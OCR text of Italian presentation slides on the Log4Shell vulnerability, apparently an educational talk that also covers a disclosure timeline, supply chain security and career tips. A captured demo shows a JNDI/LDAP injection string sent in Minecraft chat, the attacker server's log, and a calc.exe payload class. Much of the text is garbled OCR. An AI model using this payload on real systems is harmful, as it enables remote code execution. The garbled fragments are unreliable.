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Un'innocua libreria di logging
per Java
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(CVE-2021-44228)
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Login flow

Authentication

Accesso GCS

Gestionale Carriere Studenti

o Entra con SPID

C,ig} Entra con CIE

If you do not have spid or CIE credentials and you belong|
exempted user categories(*) you can log in using UNIFI cr

Password

memegenerator.nety:-




W Minecraft 123

Press ‘E’ to open wour | [10:31:13 INFO]: Allow undead horse types to be leashed: false

~ inventory.
’ [10:31:13 INFO]: Keep spawn chunk loaded: true

[10:31:13 INFO]: Preparing start region for level © (Seed: -91
90001056433566033)
[10:31:14 INFO]: Preparing spawn area: 13%
[10:31:15 INFO]: Preparing spawn area: 29%
[10:31:16 INFO]: Preparing spawn area: 46%
[16:31:17 INFO]: Preparing spawn area: 69%
[10:31:18 INFO]: Preparing spawn area: 95%
[10:31:18 INFO]: Preparing start region for level 1 (Seed: -91
90001056433566033)
[16:31:19 INFO]: Preparing spawn area: 27%
[10:31:20 INFO]: Preparing spawn area: 65%
[10:31:21 INFO]: Preparing start region for level 2 (Seed: -91
90001056433566033)
[10:31:22 INFO]: Preparing spawn area: 92%
[10:31:22 INFO]: Done (9.507s)! For help, type "help" or "2?"
[10:31:22 INFO]: Timings Reset
[10:35:14 INFO]: UUID of player JohnHammond@10® is 377abc36-deS5
c-4cf7-a8c5-8ad8802c7dda
[16:35:14 INFO]: JohnHammond@10[/10.0.0.63:92F7" B Ain wit
h entity id 1579 at ([world]236.5, 67.0, 2°
[10:35:39 INFO]: <JohnHammond@10> Hello

>

JohnHa
JohnHam

https://www.youtube.com/watch?v=7



https://www.youtube.com/watch?v=7qoPDq41xhQ

Minecraft injection point

W Minecraft 188

Press ‘E’ to open wour | [10:31:13 INFO]: Allow undead horse types to be leashed: false

~ inventory.
’ [10:31:13 INFO]: Keep spawn chunk loaded: true

[10:31:13 INFO]: Preparing start region for level © (Seed: -91
90001056433566033)
[10:31:14 INFO]: Preparing spawn area: 13%
[10:31:15 INFO]: Preparing spawn area: 29%
[10:31:16 INFO]: Preparing spawn area: 46%
[16:31:17 INFO]: Preparing spawn area: 69%
[10:31:18 INFO]: Preparing spawn area: 95%
[10:31:18 INFO]: Preparing start region for level 1 (Seed: -91
90001056433566033)
[16:31:19 INFO]: Preparing spawn area: 27%
[10:31:20 INFO]: Preparing spawn area: 65%
[10:31:21 INFO]: Preparing start region for level 2 (Seed: -91
90001056433566033)
[10:31:22 INFO]: Preparing spawn area: 92%
[10:31:22 INFO]: Done (9.507s)! For help, type "help" or "2?"
[10:31:22 INFO]: Timings Reset
[10:35:14 INFO]: UUID of player JohnHammond910 is 377abc36-de5
c-4cf7-a8c5-8ad8802c7dda
[16:35:14 INFO]: JohnHammond@10[/10.0.0.63:92F7" B Ain wit
h entity id 1579 at ([world]236.5, 67.8, 27
[10:35:39 INFO]: <JohnHammond@10> Hello

>

https://www.youtube.com/watch?v=7



https://www.youtube.com/watch?v=7qoPDq41xhQ

f player JohnHammond®1® is 377abc36-de5

010[/10.0.0.63:9267] logged in wit

, 67.90, 254.5)
Hello !
mond@10> Please subscribe!
ammond@10> ${jndi:ldap://10.0.0.166/a}

kab@kalk: - /tmp/poc - o X

= g = Serv1ng HTTP on 0. 0 0.0 port 8000 (http://0.0.0.0:8000/
Send LDAP reference result for Log4jRCE redirecting to o

2 10.0.0.63 - - [11/Dec/2021 13:54:26] "GET /Log4jRCE.cla
http://l0.0.0.166:8000/L0g4)RCE.c1ass ss HTTP/1.1" 200 -

10.0.0.63 - - [11/Dec/2021 13:54:27] "GET /Log4jRCE.cla
ss HTTP/1.1" 200 -
| |




“Malicious” code to inject

ment Help
g a&n

Log4jRCE {

[+ ] n

{

Runtime.getRuntime().exec("calc.exe"|]).waitFor();
(Exception e) {
e.printStackTrace();
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5
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https://www.youtube.com/watch?v=7



https://www.youtube.com/watch?v=7qoPDq41xhQ

Result

’E’ to open wour

Game

~ Statistios

here 1o search

o retum 10 your computer, move the mouse pointer cutside or press Ctri+ Alt <

https://www.youtube.com/watch?v=7qoPDg41xhQ



https://www.youtube.com/watch?v=7qoPDq41xhQ

Timeline

18 luglio 2013: Apache rilascia Log4J 2.0-beta9 — da questo momento in poi nasce Log4Shell
e 9 dicembre 2021 vulnerabilita pubblica
e 28 dicembre 2021 final patch

e 4 gennaio 2022 Federal Trade Commission (FTC) degli Stati Uniti intende perseguire le aziende vulnerabili a causa
di Log4Shell

e Maggio 2023: Log4Shell € ancora la seconda vulnerabilita piu comunemente sfruttata (“Check Point” report)

https://www.ibm.com/it-it/topics/log4j



https://www.ftc.gov/policy/advocacy-research/tech-at-ftc/2022/01/ftc-warns-companies-remediate-log4j-security-vulnerability
https://www.ibm.com/it-it/topics/log4j

Software supply chain

“s**t happens” — farsi trovare pronti
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Software supply chain

‘(@Y Software Supply Chain Security by design

= I
Developer > > v
Package
Source Build & Deploy
Managing cl/cp SBOMs;
accessto — gzt |
Source Pipeline F
IDEs Code
code
review J Containers provenance &
|& Registries signature
Source code .
management ‘ - Artifact
(scM) | Dependencies | ' repository |

https://tidrsec.com/p/supply-chain-security-overview



https://tldrsec.com/p/supply-chain-security-overview

Chi sono / cosa faccio

yuribacciarini.com

Endurance

Sports Tech Geek
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Senior DevOps
Engineer


http://yuribacciarini.com

(My) 3 TIPS

1) Postura di apprendimento
continuo
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2) Testarsi

Aziende
e prodotto
servizi
servizi cybersecurity
consulenza
start-up
web agency



(My) 3 TIPS +1

3) Inglese 4) Mettere in discussione tutto
“continuamente”

Quante persone parlano Italiano?

85 Milioni (1%) "Nel mondo della cybersicurezza, un ingegnere
di database che scopre inavvertitamente una
backdoor in una funzione fondamentale di Linux

.. e ing|ese? é un po' come un panettiere che sente l'odore di
. ) una pagnotta appena sfornata, intuisce che
1,5 Miliardi (18%) qualcosa non va e deduce correttamente che

qualcuno ha manomesso l'intera fornitura globale
di lievito. E il tipo di intuizione che richiede anni di
esperienza e un'attenzione ossessiva ai dettagli,
oltre a una sana dose di fortuna -

K. Roose, NYT"






